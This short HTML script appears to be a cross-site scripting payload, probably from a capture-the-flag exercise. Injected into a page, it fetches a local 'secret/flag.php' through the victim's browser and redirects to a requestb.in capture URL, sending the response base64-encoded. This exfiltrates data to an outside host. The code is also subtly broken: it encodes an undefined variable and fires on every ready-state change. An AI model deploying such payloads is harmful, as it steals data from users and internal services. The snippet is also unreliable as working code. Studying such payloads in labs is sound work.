<script>
var request = new XMLHttpRequest();
request.onreadystatechange = function() {
  jsontext = request.responseText;
  window.location = 'https://requestb.in/y5ttrxy5?FLAG=' + btoa(responseText);
}
request.open("GET", "http://127.0.0.1/secret/flag.php", true);
request.send();
</script>